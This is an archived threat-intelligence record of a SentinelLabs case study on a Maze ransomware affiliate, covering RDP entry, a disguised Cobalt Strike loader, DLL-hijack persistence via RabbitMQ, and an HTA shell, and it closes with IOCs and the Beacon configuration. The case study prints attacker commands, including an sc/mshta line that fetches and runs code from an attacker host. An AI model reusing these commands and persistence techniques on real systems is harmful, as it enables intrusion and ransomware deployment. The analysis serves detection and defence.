{
	"id": "b742353f-58eb-4fed-8446-90a013e10cf0",
	"created_at": "2026-04-06T00:20:51.386597Z",
	"updated_at": "2026-04-10T13:12:31.157045Z",
	"deleted_at": null,
	"sha1_hash": "8aed684f378e8c42bb8f902171a14f3b6d75a26e",
	"title": "Case Study: Catching a Human-Operated Maze Ransomware Attack In Action - SentinelLabs",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1445406,
	"plain_text": "Case Study: Catching a Human-Operated Maze Ransomware\r\nAttack In Action - SentinelLabs\r\nBy Jim Walter\r\nPublished: 2020-08-13 · Archived: 2026-04-05 15:10:47 UTC\r\nExecutive Summary\r\nMaze ransomware is one of the most widespread ransomware strains currently in the wild and is distributed\r\nby different capable actors.\r\nWe discovered a Maze affiliate deploying tailor-made persistence methods prior to delivering the\r\nransomware.\r\nThe actor appears to have used a stolen certificate to sign its Beacon stager.\r\nIn common with other attacks, the actor used an HTA payload as an interactive shell, which we were able\r\nto catch live and deobfuscate.\r\nBackground\r\nMaze ransomware has been used extensively in the last year or so as the final payload by many different actors\r\naround the world. This year, Maze operators notoriously began extorting companies not just by encrypting files\r\nbut also through threatening to publish exfiltrated files online. We recently caught one Maze affiliate at the early\r\nstage of attempting to spread through a network belonging to one of our clients.\r\nIn this post, we share details about the methods used by this Maze affiliate in order to shed light on their tactics\r\nand to help security teams hunt for similar IOCs in their own networks.\r\nAttack Entry Point\r\nAs previously reported in other Maze incidents, the attackers used RDP to gain access to an internet-facing\r\nmachine, probably by brute-forcing the Administrator’s password. One of the attacks against a US company began\r\non Saturday the 4th of July, a date obviously chosen in the hope that many people – particularly security staff –\r\nmight not be at work that day.\r\nThe attackers connected using RDP and uploaded their beacon payload, disguised as a known Microsoft binary\r\nnamed netplwiz.exe. Their payload had the same icon and description as the genuine binary of the same name and\r\nwas also signed, most likely with a stolen certificate.\r\nSysinternals’ sigcheck.exe on original netplwiz.exe:\r\nc:windowssystem32Netplwiz.exe:\r\n Verified: Signed\r\n Signing date: 10:29 AM 6/6/2020\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 1 of 8\n\nPublisher: Microsoft Windows\r\n Company: Microsoft Corporation\r\n Description: Advanced User Accounts Control Panel\r\n Product: Microsoft« Windows« Operating System\r\n Prod version: 10.0.18362.1\r\n File version: 10.0.18362.1 (WinBuild.160101.0800)\r\nIn the malicious netplwiz.exe, we can see the stolen certificate:\r\nc:huntingcwcnetplwiz.exe.mal:\r\n Verified: Signed\r\n Signing date: 8:05 PM 7/3/2020\r\n Publisher: Clubessential, LLC.\r\n Company: Microsoft Corporation\r\n Description: Advanced User Accounts Control Panel\r\n Product: Microsoft« Windows« Operating System\r\n Prod version: 6.1.7600.16385\r\n File version: 6.1.7600.16385 (win7_rtm.090713-1255)\r\nA closer look at the certificate:\r\nThis executable is a simple packer that loads Cobalt Strike’s Beacon version 4. This packer is pretty simple, and\r\ndoes the following:\r\nHides their window\r\nChecks for a debugger using isDebuggerPresent\r\nDecodes a XOR’ed stageless beacon (note – using VirtualAllocExNuma for memory allocation instead of\r\nthe more commonly used VirtualAlloc/Ex)\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 2 of 8\n\nExecutes the beacon\r\nThe decoding function looks like this:\r\nWe dumped the beacon from memory and parsed its configuration:\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 3 of 8\n\nTailor-Made Persistence Mechanisms\r\nAlthough the entry method is pretty common, the attackers displayed great creativity in their persistence methods,\r\nwhich were tailor-made to the machine they found themselves on.\r\nFor example, one host was running a SolarWinds Orion instance. This Orion product uses RabbitMQ as the\r\ninternal messaging component and is installed with the product. RabbitMQ is written in Erlang, and therefore uses\r\nthe Erlang runtime service (erlsrv.exe) to run.\r\nThe attackers relied on this dependency chain to spawn themselves in this erlsrv.exe process and to gain\r\npersistence on the host, as the RabbitMQ service is running erlsrv.exe.\r\nWe could see this when the attackers dropped two DLLs containing their beacon stager to disk and then began\r\ninterfering with the RabbitMQ service:\r\ntasklist /SVC\r\nsc qc RabbitMQ\r\nUploaded: C:Program Files (x86)SolarWindsOrionErlangerts-7.1binacluapi.dll\r\nUploaded: C:Program Files (x86)SolarWindsOrionErlangerts-7.1binversion.dll\r\nsc stop RabbitMQ\r\nsc start RabbitMQ\r\nThe DLL that was hijacked is version.dll, which is normally loaded from the system32 folder. By dropping it in\r\nthe same folder as erlsrv.exe, it loaded their version.dll, and it loaded acluapi.dll containing the beacon.\r\nAfter restarting the RabbitMQ service, a Cobalt Strike Beacon started communicating to the same domain as the\r\none from netplwiz, but this time from erlsrv.exe and SYSTEM integrity level.\r\nIn another case showing similar adaptation to the local environment, the attackers targeted the Java Updater which\r\nruns when the computer starts and dropped a DLL that is loaded by jusched.exe when it starts.\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 4 of 8\n\nAfter installing persistency, the attackers did some domain reconnaissance and uploaded ngrok to\r\nC:Windowsdwm.exe and used it for tunneling.\r\nThey also ran this:\r\nsc config UI0Detect start= disabled\r\nThe UI0Detect, like the name implies, detects and alerts the user if a program in session 0 tries to interact with the\r\ndesktop. It’s important for them to disable this service in order to avoid alerting the user in case they accidentally\r\npop a message box or starting a GUI application while running as SYSTEM.\r\nHTA Payload\r\nWhen they found an interesting server they wanted to laterally move to, they used sc.exe and deployed a tool that\r\ngave them an online shell on that target.\r\nSpecifically, they ran this command (IP changed):\r\nsc 192.168.90.90 config MiExchange binPath= \"c:windowssystem32cmd.exe /c start mshta http://crt.offic\r\nThey used mshta to run an HTA payload that was hosted on their site. We believe the HTA is their way of working\r\nonline on remote computers before deploying their Cobalt Strike Beacon, if they believe it’s worth it.\r\nThe HTA payload is a somewhat sophisticated and automatically obfuscated code that we believe is self-made (as\r\nwe’ve found no evidence of it online).\r\nYou can see the obfuscated and our de-obfuscated version here.\r\nMain Loop – Encoded vs Decoded\r\nWhen ran, it first sends some basic information of the computer, such as OS Version, routing info, Domain\r\nController name (if the computer is member of a domain) and more:\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 5 of 8\n\nThe payload contains a variable that is empty when it is first run. In this case, it runs another HTA from the server\r\nusing mshta.exe, which is identical to itself except that the variable now contains the value “prfx” instead of being\r\nempty.\r\nConsequently, it enters a loop of running HTAs from the server.\r\nThe simplified code looks as follows:\r\ntry {\r\n if (mainFuncStruct.emptyIfFirstRun != \"prfx\") {\r\n try {\r\n mainFuncStruct.funcStruct6.runMshtaFromCNC(\"\");\r\n } catch (e) {\r\n mainFuncStruct.funcStruct6.sendErrorDataToCNC(e)\r\n }\r\n mainFuncStruct.killSelf();\r\n } else {\r\n if (mainFuncStruct.isRunningInMshta())\r\n LimitedRunLoop();\r\n else\r\n InfiniteRunLoop();\r\n }\r\n} catch (e) {\r\n mainFuncStruct.funcStruct6.sendErrorDataToCNC(e);\r\n}\r\nThe payload is interesting because it has some unique behavior:\r\n1. It can be run both as a JScript file and as an HTA file\r\n2. It never receives simple cmd.exe commands from the server, only HTAs (that may run cmd.exe themselves)\r\n3. It’s obfuscated automatically and differently every time it is requested from the server\r\nAlso worth noting from a hunting perspective is that it runs net1.exe directly, instead of net.exe, probably to evade\r\nEDR and command-line based detection methods.\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 6 of 8\n\nConclusion\r\nAll of the above shows that these are very capable attackers. Although they used mostly known methods, they also\r\nshowed some creativity to compromise targets successfully and move laterally inside them with ease and speed.\r\nHowever, they were still caught and mitigated by the SentinelOne agent before any harm was done.\r\nAs their HTA-serving server is still online, and since this campaign is still going strong, we recommend security\r\nteams to check for the following IOCs in their EDR data or SIEM and quickly mitigate any that are found to\r\nprevent the ransomware being deployed.\r\nIndicators of Compromise\r\nHTA Payload Servers\r\ncrt.officecloud[.]top\r\ncrt.globalsign[.]icu\r\nmhennigan.safedatasystems[.]com\r\nCS Beacon Server\r\nocspverisign[.]pw\r\nOther Tools Used\r\nngrok.exe\r\nCertificate signer: “Clubessential, LLC.”\r\nFull Beacon Configuration\r\nBeaconType - HTTPS\r\nPort - 443\r\nSleepTime - 61107\r\nMaxGetSize - 1048580\r\nJitter - 13\r\nMaxDNS - 245\r\nC2Server - pkcs.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJO\r\n crl.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp\r\n pfx.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD2BOyl\r\nUserAgent - Microsoft-CryptoAPI/10.0\r\nHttpPostUri - /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ\r\nHttpGet_Metadata - Cookie: cdn=ocsp;\r\n Cookie\r\nHttpPost_Metadata - Content-Type: application/ocsp-request\r\n Cookie: cdn=ocsp;\r\n u\r\nDNS_Idle - 8.8.8.8\r\nDNS_Sleep - 0\r\nHttpGet_Verb - GET\r\nHttpPost_Verb - POST\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 7 of 8\n\nHttpPostChunk - 0\r\nSpawnto_x86 - %windir%syswow64werfault.exe\r\nSpawnto_x64 - %windir%sysnativewuauclt.exe\r\nCryptoScheme - 0\r\nProxy_Behavior - Use IE settings\r\nWatermark - 305419896\r\nbStageCleanup - False\r\nbCFGCaution - False\r\nKillDate - 0\r\nbProcInject_StartRWX - True\r\nbProcInject_UseRWX - False\r\nbProcInject_MinAllocSize - 21036\r\nProcInject_PrependAppend_x86 - b'x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x\r\n Empty\r\nProcInject_PrependAppend_x64 - b'x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x\r\n Empty\r\nProcInject_Execute - ntdll.dll:RtlUserThreadStart\r\n SetThreadContext\r\n RtlCreateUserThread\r\nProcInject_AllocationMethod - VirtualAllocEx\r\nbUsesCookies - True\r\nSource: https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nhttps://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/"
	],
	"report_names": [
		"case-study-catching-a-human-operated-maze-ransomware-attack-in-action"
	],
	"threat_actors": [],
	"ts_created_at": 1775434851,
	"ts_updated_at": 1775826751,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8aed684f378e8c42bb8f902171a14f3b6d75a26e.pdf",
		"text": "https://archive.orkl.eu/8aed684f378e8c42bb8f902171a14f3b6d75a26e.txt",
		"img": "https://archive.orkl.eu/8aed684f378e8c42bb8f902171a14f3b6d75a26e.jpg"
	}
}